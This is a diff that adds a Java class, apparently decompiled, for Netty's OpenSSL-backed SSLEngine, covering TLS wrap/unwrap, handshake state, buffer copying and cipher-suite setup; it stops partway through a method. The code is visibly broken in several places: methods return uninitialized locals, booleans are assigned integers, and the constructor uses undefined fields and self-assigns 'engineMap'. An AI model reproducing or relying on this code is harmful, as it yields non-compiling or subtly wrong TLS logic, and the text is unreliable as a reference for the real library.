+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.ThrowableUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.nio.ByteBuffer;
+import java.nio.ReadOnlyBufferException;
+import java.security.Principal;
+import java.security.cert.Certificate;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLEngineResult;
+import javax.net.ssl.SSLEngineResult.HandshakeStatus;
+import javax.net.ssl.SSLEngineResult.Status;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLHandshakeException;
+import javax.net.ssl.SSLParameters;
+import javax.net.ssl.SSLPeerUnverifiedException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionBindingEvent;
+import javax.net.ssl.SSLSessionBindingListener;
+import javax.net.ssl.SSLSessionContext;
+import org.apache.tomcat.jni.Buffer;
+import org.apache.tomcat.jni.SSL;
+
+
+
+
+
+
+
+
+
+
+public class ReferenceCountedOpenSslEngine
+  extends SSLEngine
+  implements ReferenceCounted
+{
+  private static final InternalLogger logger;
+  private static final SSLException BEGIN_HANDSHAKE_ENGINE_CLOSED;
+  private static final SSLException HANDSHAKE_ENGINE_CLOSED;
+  private static final SSLException RENEGOTIATION_UNSUPPORTED;
+  private static final SSLException ENCRYPTED_PACKET_OVERSIZED;
+  private static final Class<?> SNI_HOSTNAME_CLASS;
+  private static final Method GET_SERVER_NAMES_METHOD;
+  private static final Method SET_SERVER_NAMES_METHOD;
+  private static final Method GET_ASCII_NAME_METHOD;
+  private static final Method GET_USE_CIPHER_SUITES_ORDER_METHOD;
+  private static final Method SET_USE_CIPHER_SUITES_ORDER_METHOD;
+  private static final ResourceLeakDetector<ReferenceCountedOpenSslEngine> leakDetector;
+  private static final int MAX_PLAINTEXT_LENGTH = 16384;
+  private static final int MAX_COMPRESSED_LENGTH = 17408;
+  private static final int MAX_CIPHERTEXT_LENGTH = 18432;
+  static final int MAX_ENCRYPTED_PACKET_LENGTH = 18713;
+  static final int MAX_ENCRYPTION_OVERHEAD_LENGTH = 2329;
+  private static final AtomicIntegerFieldUpdater<ReferenceCountedOpenSslEngine> DESTROYED_UPDATER;
+  private static final String INVALID_CIPHER = "SSL_NULL_WITH_NULL_NULL";
+  
+  static
+  {
+    logger = InternalLoggerFactory.getInstance(ReferenceCountedOpenSslEngine.class);
+    
+    BEGIN_HANDSHAKE_ENGINE_CLOSED = (SSLException)ThrowableUtil.unknownStackTrace(new SSLException("engine closed"), ReferenceCountedOpenSslEngine.class, "beginHandshake()");
+    
+    HANDSHAKE_ENGINE_CLOSED = (SSLException)ThrowableUtil.unknownStackTrace(new SSLException("engine closed"), ReferenceCountedOpenSslEngine.class, "handshake()");
+    
+    RENEGOTIATION_UNSUPPORTED = (SSLException)ThrowableUtil.unknownStackTrace(new SSLException("renegotiation unsupported"), ReferenceCountedOpenSslEngine.class, "beginHandshake()");
+    
+    ENCRYPTED_PACKET_OVERSIZED = (SSLException)ThrowableUtil.unknownStackTrace(new SSLException("encrypted packet oversized"), ReferenceCountedOpenSslEngine.class, "unwrap(...)");
+    
+
+
+
+
+
+
+    leakDetector = ResourceLeakDetectorFactory.instance().newResourceLeakDetector(ReferenceCountedOpenSslEngine.class);
+    
+
+
+    AtomicIntegerFieldUpdater<ReferenceCountedOpenSslEngine> destroyedUpdater = PlatformDependent.newAtomicIntegerFieldUpdater(ReferenceCountedOpenSslEngine.class, "destroyed");
+    
+    if (destroyedUpdater == null) {
+      destroyedUpdater = AtomicIntegerFieldUpdater.newUpdater(ReferenceCountedOpenSslEngine.class, "destroyed");
+    }
+    DESTROYED_UPDATER = destroyedUpdater;
+    
+    Method getUseCipherSuitesOrderMethod = null;
+    Method setUseCipherSuitesOrderMethod = null;
+    Class<?> sniHostNameClass = null;
+    Method getAsciiNameMethod = null;
+    Method getServerNamesMethod = null;
+    Method setServerNamesMethod = null;
+    if (PlatformDependent.javaVersion() >= 8) {
+      try {
+        getUseCipherSuitesOrderMethod = SSLParameters.class.getDeclaredMethod("getUseCipherSuitesOrder", new Class[0]);
+        SSLParameters parameters = new SSLParameters();
+        
+        Boolean order = (Boolean)getUseCipherSuitesOrderMethod.invoke(parameters, new Object[0]);
+        setUseCipherSuitesOrderMethod = SSLParameters.class.getDeclaredMethod("setUseCipherSuitesOrder", new Class[] { Boolean.TYPE });
+        
+        setUseCipherSuitesOrderMethod.invoke(parameters, new Object[] { Boolean.valueOf(true) });
+      } catch (Throwable ignore) {
+        getUseCipherSuitesOrderMethod = null;
+        setUseCipherSuitesOrderMethod = null;
+      }
+      try {
+        sniHostNameClass = Class.forName("javax.net.ssl.SNIHostName", false, PlatformDependent.getClassLoader(ReferenceCountedOpenSslEngine.class));
+        
+        Object sniHostName = sniHostNameClass.getConstructor(new Class[] { String.class }).newInstance(new Object[] { "netty.io" });
+        getAsciiNameMethod = sniHostNameClass.getDeclaredMethod("getAsciiName", new Class[0]);
+        
+        String name = (String)getAsciiNameMethod.invoke(sniHostName, new Object[0]);
+        
+        getServerNamesMethod = SSLParameters.class.getDeclaredMethod("getServerNames", new Class[0]);
+        setServerNamesMethod = SSLParameters.class.getDeclaredMethod("setServerNames", new Class[] { List.class });
+        SSLParameters parameters = new SSLParameters();
+        
+        List serverNames = (List)getServerNamesMethod.invoke(parameters, new Object[0]);
+        setServerNamesMethod.invoke(parameters, new Object[] { Collections.emptyList() });
+      } catch (Throwable ingore) {
+        sniHostNameClass = null;
+        getAsciiNameMethod = null;
+        getServerNamesMethod = null;
+        setServerNamesMethod = null;
+      }
+    }
+    GET_USE_CIPHER_SUITES_ORDER_METHOD = getUseCipherSuitesOrderMethod;
+    SET_USE_CIPHER_SUITES_ORDER_METHOD = setUseCipherSuitesOrderMethod;
+    SNI_HOSTNAME_CLASS = sniHostNameClass;
+    GET_ASCII_NAME_METHOD = getAsciiNameMethod;
+    GET_SERVER_NAMES_METHOD = getServerNamesMethod;
+    SET_SERVER_NAMES_METHOD = setServerNamesMethod;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final long EMPTY_ADDR = Buffer.address(Unpooled.EMPTY_BUFFER.nioBuffer());
+  
+  private static final SSLEngineResult NEED_UNWRAP_OK = new SSLEngineResult(SSLEngineResult.Status.OK, SSLEngineResult.HandshakeStatus.NEED_UNWRAP, 0, 0);
+  private static final SSLEngineResult NEED_UNWRAP_CLOSED = new SSLEngineResult(SSLEngineResult.Status.CLOSED, SSLEngineResult.HandshakeStatus.NEED_UNWRAP, 0, 0);
+  private static final SSLEngineResult NEED_WRAP_OK = new SSLEngineResult(SSLEngineResult.Status.OK, SSLEngineResult.HandshakeStatus.NEED_WRAP, 0, 0);
+  private static final SSLEngineResult NEED_WRAP_CLOSED = new SSLEngineResult(SSLEngineResult.Status.CLOSED, SSLEngineResult.HandshakeStatus.NEED_WRAP, 0, 0);
+  private static final SSLEngineResult CLOSED_NOT_HANDSHAKING = new SSLEngineResult(SSLEngineResult.Status.CLOSED, SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING, 0, 0);
+  
+  private long ssl;
+  
+  private long networkBIO;
+  
+  private boolean certificateSet;
+  
+
+  private static enum HandshakeState
+  {
+    NOT_STARTED, 
+    
+
+
+    STARTED_IMPLICITLY, 
+    
+
+
+    STARTED_EXPLICITLY, 
+    
+
+
+
+    FINISHED;
+    
+    private HandshakeState() {} }
+  private HandshakeState handshakeState = HandshakeState.NOT_STARTED;
+  
+  private boolean receivedShutdown;
+  
+  private volatile int destroyed;
+  private final ResourceLeak leak;
+  private final AbstractReferenceCounted refCnt = new AbstractReferenceCounted()
+  {
+    public ReferenceCounted touch(Object hint) {
+      if (leak != null) {
+        leak.record(hint);
+      }
+      
+      return ReferenceCountedOpenSslEngine.this;
+    }
+    
+    protected void deallocate()
+    {
+      shutdown();
+      if (leak != null) {
+        leak.close();
+      }
+    }
+  };
+  
+  private volatile ClientAuth clientAuth = ClientAuth.NONE;
+  
+
+  private volatile long lastAccessed = -1L;
+  
+  private String endPointIdentificationAlgorithm;
+  
+  private Object algorithmConstraints;
+  
+  private List<?> sniHostNames;
+  
+  private boolean isInboundDone;
+  
+  private boolean isOutboundDone;
+  private boolean engineClosed;
+  private final boolean clientMode;
+  private final ByteBufAllocator alloc;
+  private final OpenSslEngineMap engineMap;
+  private final OpenSslApplicationProtocolNegotiator apn;
+  private final boolean rejectRemoteInitiatedRenegation;
+  private final OpenSslSession session;
+  private final Certificate[] localCerts;
+  private final ByteBuffer[] singleSrcBuffer = new ByteBuffer[1];
+  private final ByteBuffer[] singleDstBuffer = new ByteBuffer[1];
+  
+
+
+
+  private final OpenSslKeyMaterialManager keyMaterialManager;
+  
+
+
+
+  SSLHandshakeException handshakeException;
+  
+
+
+
+  ReferenceCountedOpenSslEngine(ReferenceCountedOpenSslContext context, ByteBufAllocator alloc, String peerHost, int peerPort, boolean leakDetection)
+  {
+    super(peerHost, peerPort);
+    OpenSsl.ensureAvailability();
+    leak = (leakDetection ? leakDetector.open(this) : null);
+    this.alloc = ((ByteBufAllocator)ObjectUtil.checkNotNull(alloc, "alloc"));
+    apn = ((OpenSslApplicationProtocolNegotiator)context.applicationProtocolNegotiator());
+    ssl = SSL.newSSL(ctx, !context.isClient());
+    session = new OpenSslSession(context.sessionContext());
+    networkBIO = SSL.makeNetworkBIO(ssl);
+    clientMode = context.isClient();
+    engineMap = engineMap;
+    rejectRemoteInitiatedRenegation = rejectRemoteInitiatedRenegotiation;
+    localCerts = keyCertChain;
+    
+
+
+    setClientAuth(clientMode ? ClientAuth.NONE : clientAuth);
+    
+
+
+    if ((clientMode) && (peerHost != null)) {
+      SSL.setTlsExtHostName(ssl, peerHost);
+    }
+    keyMaterialManager = context.keyMaterialManager();
+  }
+  
+  public final int refCnt()
+  {
+    return refCnt.refCnt();
+  }
+  
+  public final ReferenceCounted retain()
+  {
+    refCnt.retain();
+    return this;
+  }
+  
+  public final ReferenceCounted retain(int increment)
+  {
+    refCnt.retain(increment);
+    return this;
+  }
+  
+  public final ReferenceCounted touch()
+  {
+    refCnt.touch();
+    return this;
+  }
+  
+  public final ReferenceCounted touch(Object hint)
+  {
+    refCnt.touch(hint);
+    return this;
+  }
+  
+  public final boolean release()
+  {
+    return refCnt.release();
+  }
+  
+  public final boolean release(int decrement)
+  {
+    return refCnt.release(decrement);
+  }
+  
+
+
+
+
+  public final synchronized SSLSession getHandshakeSession()
+  {
+    switch (handshakeState) {
+    case NOT_STARTED: 
+    case FINISHED: 
+      return null;
+    }
+    return session;
+  }
+  
+
+
+
+
+
+  public final synchronized long sslPointer()
+  {
+    return ssl;
+  }
+  
+
+
+  public final synchronized void shutdown()
+  {
+    if (DESTROYED_UPDATER.compareAndSet(this, 0, 1)) {
+      engineMap.remove(ssl);
+      SSL.freeSSL(ssl);
+      SSL.freeBIO(networkBIO);
+      ssl = (this.networkBIO = 0L);
+      
+
+      isInboundDone = (this.isOutboundDone = this.engineClosed = 1);
+    }
+    
+
+    SSL.clearError();
+  }
+  
+
+
+
+
+  private int writePlaintextData(ByteBuffer src)
+  {
+    int pos = src.position();
+    int limit = src.limit();
+    int len = Math.min(limit - pos, 16384);
+    
+
+    if (src.isDirect()) {
+      long addr = Buffer.address(src) + pos;
+      int sslWrote = SSL.writeToSSL(ssl, addr, len);
+      if (sslWrote > 0) {
+        src.position(pos + sslWrote);
+      }
+    } else {
+      ByteBuf buf = alloc.directBuffer(len);
+      try {
+        long addr = OpenSsl.memoryAddress(buf);
+        
+        src.limit(pos + len);
+        
+        buf.setBytes(0, src);
+        src.limit(limit);
+        
+        int sslWrote = SSL.writeToSSL(ssl, addr, len);
+        if (sslWrote > 0) {
+          src.position(pos + sslWrote);
+        } else {
+          src.position(pos);
+        }
+      } finally {
+        buf.release();
+      } }
+    int sslWrote;
+    return sslWrote;
+  }
+  
+
+
+  private int writeEncryptedData(ByteBuffer src)
+  {
+    int pos = src.position();
+    int len = src.remaining();
+    
+    if (src.isDirect()) {
+      long addr = Buffer.address(src) + pos;
+      int netWrote = SSL.writeToBIO(networkBIO, addr, len);
+      if (netWrote >= 0) {
+        src.position(pos + netWrote);
+      }
+    } else {
+      ByteBuf buf = alloc.directBuffer(len);
+      try {
+        long addr = OpenSsl.memoryAddress(buf);
+        
+        buf.setBytes(0, src);
+        
+        int netWrote = SSL.writeToBIO(networkBIO, addr, len);
+        if (netWrote >= 0) {
+          src.position(pos + netWrote);
+        } else {
+          src.position(pos);
+        }
+      } finally {
+        buf.release();
+      }
+    }
+    int netWrote;
+    return netWrote;
+  }
+  
+
+
+
+  private int readPlaintextData(ByteBuffer dst)
+  {
+    if (dst.isDirect()) {
+      int pos = dst.position();
+      long addr = Buffer.address(dst) + pos;
+      int len = dst.limit() - pos;
+      int sslRead = SSL.readFromSSL(ssl, addr, len);
+      if (sslRead > 0) {
+        dst.position(pos + sslRead);
+      }
+    } else {
+      int pos = dst.position();
+      int limit = dst.limit();
+      int len = Math.min(18713, limit - pos);
+      ByteBuf buf = alloc.directBuffer(len);
+      try {
+        long addr = OpenSsl.memoryAddress(buf);
+        
+        int sslRead = SSL.readFromSSL(ssl, addr, len);
+        if (sslRead > 0) {
+          dst.limit(pos + sslRead);
+          buf.getBytes(0, dst);
+          dst.limit(limit);
+        }
+      } finally {
+        buf.release();
+      }
+    }
+    int sslRead;
+    return sslRead;
+  }
+  
+
+
+
+
+  private int readEncryptedData(ByteBuffer dst, int pending)
+  {
+    if ((dst.isDirect()) && (dst.remaining() >= pending)) {
+      int pos = dst.position();
+      long addr = Buffer.address(dst) + pos;
+      int bioRead = SSL.readFromBIO(networkBIO, addr, pending);
+      if (bioRead > 0) {
+        dst.position(pos + bioRead);
+        return bioRead;
+      }
+    } else {
+      ByteBuf buf = alloc.directBuffer(pending);
+      try {
+        long addr = OpenSsl.memoryAddress(buf);
+        
+        int bioRead = SSL.readFromBIO(networkBIO, addr, pending);
+        if (bioRead > 0) {
+          int oldLimit = dst.limit();
+          dst.limit(dst.position() + bioRead);
+          buf.getBytes(0, dst);
+          dst.limit(oldLimit);
+          return bioRead;
+        }
+      } finally {
+        buf.release();
+      }
+    }
+    int bioRead;
+    return bioRead;
+  }
+  
+  private SSLEngineResult readPendingBytesFromBIO(ByteBuffer dst, int bytesConsumed, int bytesProduced, SSLEngineResult.HandshakeStatus status)
+    throws SSLException
+  {
+    int pendingNet = SSL.pendingWrittenBytesInBIO(networkBIO);
+    if (pendingNet > 0)
+    {
+
+      int capacity = dst.remaining();
+      if (capacity < pendingNet) {
+        return new SSLEngineResult(SSLEngineResult.Status.BUFFER_OVERFLOW, mayFinishHandshake(status != SSLEngineResult.HandshakeStatus.FINISHED ? getHandshakeStatus(pendingNet) : status), bytesConsumed, bytesProduced);
+      }
+      
+
+
+
+      int produced = readEncryptedData(dst, pendingNet);
+      
+      if (produced <= 0)
+      {
+
+        SSL.clearError();
+      } else {
+        bytesProduced += produced;
+        pendingNet -= produced;
+      }
+      
+
+
+      if (isOutboundDone) {
+        shutdown();
+      }
+      
+      return new SSLEngineResult(getEngineStatus(), mayFinishHandshake(status != SSLEngineResult.HandshakeStatus.FINISHED ? getHandshakeStatus(pendingNet) : status), bytesConsumed, bytesProduced);
+    }
+    
+
+    return null;
+  }
+  
+
+  public final SSLEngineResult wrap(ByteBuffer[] srcs, int offset, int length, ByteBuffer dst)
+    throws SSLException
+  {
+    if (srcs == null) {
+      throw new IllegalArgumentException("srcs is null");
+    }
+    if (dst == null) {
+      throw new IllegalArgumentException("dst is null");
+    }
+    
+    if ((offset >= srcs.length) || (offset + length > srcs.length)) {
+      throw new IndexOutOfBoundsException("offset: " + offset + ", length: " + length + " (expected: offset <= offset + length <= srcs.length (" + srcs.length + "))");
+    }
+    
+
+
+    if (dst.isReadOnly()) {
+      throw new ReadOnlyBufferException();
+    }
+    
+    synchronized (this)
+    {
+      if (isDestroyed()) {
+        return CLOSED_NOT_HANDSHAKING;
+      }
+      
+      SSLEngineResult.HandshakeStatus status = SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING;
+      
+      if (handshakeState != HandshakeState.FINISHED) {
+        if (handshakeState != HandshakeState.STARTED_EXPLICITLY)
+        {
+          handshakeState = HandshakeState.STARTED_IMPLICITLY;
+        }
+        
+        status = handshake();
+        if (status == SSLEngineResult.HandshakeStatus.NEED_UNWRAP) {
+          return NEED_UNWRAP_OK;
+        }
+        
+        if (engineClosed) {
+          return NEED_UNWRAP_CLOSED;
+        }
+      }
+      
+
+      int bytesProduced = 0;
+      int bytesConsumed = 0;
+      int endOffset = offset + length;
+      for (int i = offset; i < endOffset; i++) {
+        ByteBuffer src = srcs[i];
+        if (src == null) {
+          throw new IllegalArgumentException("srcs[" + i + "] is null");
+        }
+        while (src.hasRemaining())
+        {
+
+          int result = writePlaintextData(src);
+          if (result > 0) {
+            bytesConsumed += result;
+            
+            SSLEngineResult pendingNetResult = readPendingBytesFromBIO(dst, bytesConsumed, bytesProduced, status);
+            if (pendingNetResult != null) {
+              if (pendingNetResult.getStatus() != SSLEngineResult.Status.OK) {
+                return pendingNetResult;
+              }
+              bytesProduced = pendingNetResult.bytesProduced();
+            }
+          } else {
+            int sslError = SSL.getError(ssl, result);
+            switch (sslError)
+            {
+            case 6: 
+              if (!receivedShutdown) {
+                closeAll();
+              }
+              SSLEngineResult pendingNetResult = readPendingBytesFromBIO(dst, bytesConsumed, bytesProduced, status);
+              return pendingNetResult != null ? pendingNetResult : CLOSED_NOT_HANDSHAKING;
+            
+
+
+            case 2: 
+              SSLEngineResult pendingNetResult = readPendingBytesFromBIO(dst, bytesConsumed, bytesProduced, status);
+              return pendingNetResult != null ? pendingNetResult : new SSLEngineResult(getEngineStatus(), SSLEngineResult.HandshakeStatus.NEED_UNWRAP, bytesConsumed, bytesProduced);
+            
+
+
+
+
+
+
+
+
+
+
+
+
+
+            case 3: 
+              SSLEngineResult pendingNetResult = readPendingBytesFromBIO(dst, bytesConsumed, bytesProduced, status);
+              return pendingNetResult != null ? pendingNetResult : NEED_WRAP_CLOSED;
+            }
+            
+            throw shutdownWithError("SSL_write");
+          }
+        }
+      }
+      
+
+
+      if (bytesConsumed == 0) {
+        SSLEngineResult pendingNetResult = readPendingBytesFromBIO(dst, 0, bytesProduced, status);
+        if (pendingNetResult != null) {
+          return pendingNetResult;
+        }
+      }
+      
+      return newResult(bytesConsumed, bytesProduced, status);
+    }
+  }
+  
+
+
+  private SSLException shutdownWithError(String operations)
+  {
+    String err = SSL.getLastError();
+    return shutdownWithError(operations, err);
+  }
+  
+  private SSLException shutdownWithError(String operation, String err) {
+    if (logger.isDebugEnabled()) {
+      logger.debug("{} failed: OpenSSL error: {}", operation, err);
+    }
+    
+
+    shutdown();
+    if (handshakeState == HandshakeState.FINISHED) {
+      return new SSLException(err);
+    }
+    return new SSLHandshakeException(err);
+  }
+  
+
+
+  public final SSLEngineResult unwrap(ByteBuffer[] srcs, int srcsOffset, int srcsLength, ByteBuffer[] dsts, int dstsOffset, int dstsLength)
+    throws SSLException
+  {
+    if (srcs == null) {
+      throw new NullPointerException("srcs");
+    }
+    if ((srcsOffset >= srcs.length) || (srcsOffset + srcsLength > srcs.length))
+    {
+      throw new IndexOutOfBoundsException("offset: " + srcsOffset + ", length: " + srcsLength + " (expected: offset <= offset + length <= srcs.length (" + srcs.length + "))");
+    }
+    
+
+    if (dsts == null) {
+      throw new IllegalArgumentException("dsts is null");
+    }
+    if ((dstsOffset >= dsts.length) || (dstsOffset + dstsLength > dsts.length)) {
+      throw new IndexOutOfBoundsException("offset: " + dstsOffset + ", length: " + dstsLength + " (expected: offset <= offset + length <= dsts.length (" + dsts.length + "))");
+    }
+    
+
+    long capacity = 0L;
+    int endOffset = dstsOffset + dstsLength;
+    for (int i = dstsOffset; i < endOffset; i++) {
+      ByteBuffer dst = dsts[i];
+      if (dst == null) {
+        throw new IllegalArgumentException("dsts[" + i + "] is null");
+      }
+      if (dst.isReadOnly()) {
+        throw new ReadOnlyBufferException();
+      }
+      capacity += dst.remaining();
+    }
+    
+    int srcsEndOffset = srcsOffset + srcsLength;
+    long len = 0L;
+    for (int i = srcsOffset; i < srcsEndOffset; i++) {
+      ByteBuffer src = srcs[i];
+      if (src == null) {
+        throw new IllegalArgumentException("srcs[" + i + "] is null");
+      }
+      len += src.remaining();
+    }
+    
+    synchronized (this)
+    {
+      if (isDestroyed()) {
+        return CLOSED_NOT_HANDSHAKING;
+      }
+      
+
+      if (len > 18713L) {
+        isInboundDone = true;
+        isOutboundDone = true;
+        engineClosed = true;
+        shutdown();
+        throw ENCRYPTED_PACKET_OVERSIZED;
+      }
+      
+      SSLEngineResult.HandshakeStatus status = SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING;
+      
+      if (handshakeState != HandshakeState.FINISHED) {
+        if (handshakeState != HandshakeState.STARTED_EXPLICITLY)
+        {
+          handshakeState = HandshakeState.STARTED_IMPLICITLY;
+        }
+        
+        status = handshake();
+        if (status == SSLEngineResult.HandshakeStatus.NEED_WRAP) {
+          return NEED_WRAP_OK;
+        }
+        if (engineClosed) {
+          return NEED_WRAP_CLOSED;
+        }
+      }
+      
+
+      int bytesConsumed = 0;
+      if (srcsOffset < srcsEndOffset) {
+        do {
+          ByteBuffer src = srcs[srcsOffset];
+          int remaining = src.remaining();
+          if (remaining == 0)
+          {
+
+            srcsOffset++;
+          }
+          else {
+            int written = writeEncryptedData(src);
+            if (written > 0) {
+              bytesConsumed += written;
+              
+              if (written != remaining) break;
+              srcsOffset++;
+
+
+
+
+            }
+            else
+            {
+
+
+
+
+              SSL.clearError();
+              break;
+            }
+          } } while (srcsOffset < srcsEndOffset);
+      }
+      
+
+      int bytesProduced = 0;
+      
+      if (capacity > 0L)
+      {
+        int idx = dstsOffset;
+        while (idx < endOffset) {
+          ByteBuffer dst = dsts[idx];
+          if (!dst.hasRemaining()) {
+            idx++;
+          }
+          else
+          {
+            int bytesRead = readPlaintextData(dst);
+            
+
+
+            rejectRemoteInitiatedRenegation();
+            
+            if (bytesRead > 0) {
+              bytesProduced += bytesRead;
+              
+              if (!dst.hasRemaining()) {
+                idx++;
+              }
+              else {
+                return newResult(bytesConsumed, bytesProduced, status);
+              }
+            } else {
+              int sslError = SSL.getError(ssl, bytesRead);
+              switch (sslError)
+              {
+              case 6: 
+                if (!receivedShutdown) {
+                  closeAll();
+                }
+              
+
+              case 2: 
+              case 3: 
+                return newResult(bytesConsumed, bytesProduced, status);
+              }
+              return sslReadErrorResult(SSL.getLastErrorNumber(), bytesConsumed, bytesProduced);
+            }
+            
+          }
+          
+        }
+      }
+      else if (SSL.readFromSSL(ssl, EMPTY_ADDR, 0) <= 0)
+      {
+        int err = SSL.getLastErrorNumber();
+        if (OpenSsl.isError(err)) {
+          return sslReadErrorResult(err, bytesConsumed, bytesProduced);
+        }
+      }
+      
+      if (pendingAppData() > 0)
+      {
+        return new SSLEngineResult(SSLEngineResult.Status.BUFFER_OVERFLOW, mayFinishHandshake(status != SSLEngineResult.HandshakeStatus.FINISHED ? getHandshakeStatus() : status), bytesConsumed, bytesProduced);
+      }
+      
+
+
+
+      if ((!receivedShutdown) && ((SSL.getShutdown(ssl) & 0x2) == 2)) {
+        closeAll();
+      }
+      
+      return newResult(bytesConsumed, bytesProduced, status);
+    }
+  }
+  
+  private SSLEngineResult sslReadErrorResult(int err, int bytesConsumed, int bytesProduced) throws SSLException {
+    String errStr = SSL.getErrorString(err);
+    
+
+
+
+
+    if (SSL.pendingWrittenBytesInBIO(networkBIO) > 0) {
+      if ((handshakeException == null) && (handshakeState != HandshakeState.FINISHED))
+      {
+
+        handshakeException = new SSLHandshakeException(errStr);
+      }
+      return new SSLEngineResult(SSLEngineResult.Status.OK, SSLEngineResult.HandshakeStatus.NEED_WRAP, bytesConsumed, bytesProduced);
+    }
+    throw shutdownWithError("SSL_read", errStr);
+  }
+  
+
+  private int pendingAppData()
+  {
+    return handshakeState == HandshakeState.FINISHED ? SSL.pendingReadableBytesInSSL(ssl) : 0;
+  }
+  
+  private SSLEngineResult newResult(int bytesConsumed, int bytesProduced, SSLEngineResult.HandshakeStatus status) throws SSLException
+  {
+    return new SSLEngineResult(getEngineStatus(), mayFinishHandshake(status != SSLEngineResult.HandshakeStatus.FINISHED ? getHandshakeStatus() : status), bytesConsumed, bytesProduced);
+  }
+  
+  private void closeAll()
+    throws SSLException
+  {
+    receivedShutdown = true;
+    closeOutbound();
+    closeInbound();
+  }
+  
+  private void rejectRemoteInitiatedRenegation() throws SSLHandshakeException {
+    if ((rejectRemoteInitiatedRenegation) && (SSL.getHandshakeCount(ssl) > 1))
+    {
+
+      shutdown();
+      throw new SSLHandshakeException("remote-initiated renegotation not allowed");
+    }
+  }
+  
+  public final SSLEngineResult unwrap(ByteBuffer[] srcs, ByteBuffer[] dsts) throws SSLException {
+    return unwrap(srcs, 0, srcs.length, dsts, 0, dsts.length);
+  }
+  
+  private ByteBuffer[] singleSrcBuffer(ByteBuffer src) {
+    singleSrcBuffer[0] = src;
+    return singleSrcBuffer;
+  }
+  
+  private void resetSingleSrcBuffer() {
+    singleSrcBuffer[0] = null;
+  }
+  
+  private ByteBuffer[] singleDstBuffer(ByteBuffer src) {
+    singleDstBuffer[0] = src;
+    return singleDstBuffer;
+  }
+  
+  private void resetSingleDstBuffer() {
+    singleDstBuffer[0] = null;
+  }
+  
+  public final synchronized SSLEngineResult unwrap(ByteBuffer src, ByteBuffer[] dsts, int offset, int length) throws SSLException
+  {
+    try
+    {
+      return unwrap(singleSrcBuffer(src), 0, 1, dsts, offset, length);
+    } finally {
+      resetSingleSrcBuffer();
+    }
+  }
+  
+  public final synchronized SSLEngineResult wrap(ByteBuffer src, ByteBuffer dst) throws SSLException
+  {
+    try {
+      return wrap(singleSrcBuffer(src), dst);
+    } finally {
+      resetSingleSrcBuffer();
+    }
+  }
+  
+  public final synchronized SSLEngineResult unwrap(ByteBuffer src, ByteBuffer dst) throws SSLException
+  {
+    try {
+      return unwrap(singleSrcBuffer(src), singleDstBuffer(dst));
+    } finally {
+      resetSingleSrcBuffer();
+      resetSingleDstBuffer();
+    }
+  }
+  
+  public final synchronized SSLEngineResult unwrap(ByteBuffer src, ByteBuffer[] dsts) throws SSLException
+  {
+    try {
+      return unwrap(singleSrcBuffer(src), dsts);
+    } finally {
+      resetSingleSrcBuffer();
+    }
+  }
+  
+
+
+
+  public final Runnable getDelegatedTask()
+  {
+    return null;
+  }
+  
+  public final synchronized void closeInbound() throws SSLException
+  {
+    if (isInboundDone) {
+      return;
+    }
+    
+    isInboundDone = true;
+    engineClosed = true;
+    
+    shutdown();
+    
+    if ((handshakeState != HandshakeState.NOT_STARTED) && (!receivedShutdown)) {
+      throw new SSLException("Inbound closed before receiving peer's close_notify: possible truncation attack?");
+    }
+  }
+  
+
+  public final synchronized boolean isInboundDone()
+  {
+    return (isInboundDone) || (engineClosed);
+  }
+  
+  public final synchronized void closeOutbound()
+  {
+    if (isOutboundDone) {
+      return;
+    }
+    
+    isOutboundDone = true;
+    engineClosed = true;
+    
+    if ((handshakeState != HandshakeState.NOT_STARTED) && (!isDestroyed())) {
+      int mode = SSL.getShutdown(ssl);
+      if ((mode & 0x1) != 1) {
+        int err = SSL.shutdownSSL(ssl);
+        if (err < 0) {
+          int sslErr = SSL.getError(ssl, err);
+          switch (sslErr)
+          {
+          case 0: 
+          case 2: 
+          case 3: 
+          case 4: 
+          case 6: 
+          case 7: 
+          case 8: 
+            break;
+          case 1: 
+          case 5: 
+            if (logger.isDebugEnabled()) {
+              logger.debug("SSL_shutdown failed: OpenSSL error: {}", SSL.getLastError());
+            }
+            
+            shutdown();
+            break;
+          default: 
+            SSL.clearError();
+          }
+        }
+      }
+    }
+    else
+    {
+      shutdown();
+    }
+  }
+  
+  public final synchronized boolean isOutboundDone()
+  {
+    return isOutboundDone;
+  }
+  
+  public final String[] getSupportedCipherSuites()
+  {
+    return (String[])OpenSsl.AVAILABLE_CIPHER_SUITES.toArray(new String[OpenSsl.AVAILABLE_CIPHER_SUITES.size()]);
+  }
+  
+  public final String[] getEnabledCipherSuites()
+  {
+    String[] enabled;
+    synchronized (this) { String[] enabled;
+      if (!isDestroyed()) {
+        enabled = SSL.getCiphers(ssl);
+      } else
+        return EmptyArrays.EMPTY_STRINGS;
+    }
+    String[] enabled;
+    if (enabled == null) {
+      return EmptyArrays.EMPTY_STRINGS;
+    }
+    synchronized (this) {
+      for (int i = 0; i < enabled.length; i++) {
+        String mapped = toJavaCipherSuite(enabled[i]);
+        if (mapped != null) {
+          enabled[i] = mapped;
+        }
+      }
+    }
+    return enabled;
+  }
+  
+
+  public final void setEnabledCipherSuites(String[] cipherSuites)
+  {
+    ObjectUtil.checkNotNull(cipherSuites, "cipherSuites");
+    
+    StringBuilder buf = new StringBuilder();
+    for (String c : cipherSuites) {
+      if (c == null) {
+        break;
+      }
+      
+      String converted = CipherSuiteConverter.toOpenSsl(c);
+      if (converted == null) {
+        converted = c;
+      }
+      
+      if (!OpenSsl.isCipherSuiteAvailable(converted)) {
+        throw new IllegalArgumentException("unsupported cipher suite: " + c + '(' + converted + ')');
+      }
+      
+      buf.append(converted);
+      buf.append(':');
+    }
+    
+    if (buf.length() == 0) {
+      throw new IllegalArgumentException("empty cipher suites");
+    }
+    buf.setLength(buf.length() - 1);
+    
+    String cipherSuiteSpec = buf.toString();
+    
+    synchronized (this) {
